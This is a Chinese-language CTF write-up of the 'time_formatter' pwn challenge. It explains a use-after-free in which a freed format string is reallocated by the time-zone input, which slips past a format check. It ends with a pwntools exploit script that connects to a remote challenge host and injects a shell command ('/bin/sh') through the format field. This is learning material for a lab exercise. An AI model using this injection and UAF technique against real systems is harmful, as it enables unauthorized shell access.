[time_formatter]–UAF

前言

好久没做题了,一直在看链接装载与库,有一说一,这玩意是真的晦涩难懂。最近要开始准备打比赛回来再刷刷题。

这个题挺有意思的,能扩展学习到很多东西。

Find hole

先对文件进行基础的分析

  • 64位文件
  • 除了PIE没开其他的保护都开了,FORTIFY是缓冲区溢出检查,用来在编译的时候去替换危险函数。

文件逆向

通过分析文件,发现程序就是让我们输入时间,时区,和输出格式,然后调用system函数来运行/bin/data函数来实现功能。

刚开始找了半天hole没找到,看了其他师傅的题解后才找到了。

  • 因为输入格式和时区的函数是用的strdup函数,该函数会调用malloc函数分配一个空间,然后返回该指针。
  • 在退出的时候,程序是先进行free后判断是否继续退出,会导致format指针存储的空间已经是被free掉了的,然后我们选择调用输入时区的函数,就会分配到刚才format的那段空间,我们就可以用这种方式来绕过format的判断语句。

payload

找到漏洞和利用方法后,我们就可以来写脚本了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
#p = process("./time")
p = remote("61.147.171.105","62770")
context.log_level = 'DEBUG'

def set_format(s):
p.sendlineafter("> ",'1')
p.sendlineafter("Format: ",s)
p.recvuntil(" Exit.\n")

def set_zone(s):
p.sendlineafter("> ","3")
p.sendlineafter("Time zone: ",s)
p.recvuntil(" Exit.\n")

def exit_1():
p.sendlineafter("> ","5")
p.sendlineafter("(y/N)? ",'N')
p.recvuntil(" Exit.\n")
def get_shell():
p.sendlineafter("> ","4")

def main():
set_format("aaa")
exit_1()
set_zone("%Y';/bin/sh;'")
get_shell()
p.interactive()
main()

总结

这个题很有意思,第一次利用UAF漏洞,PWN的道路道阻且长。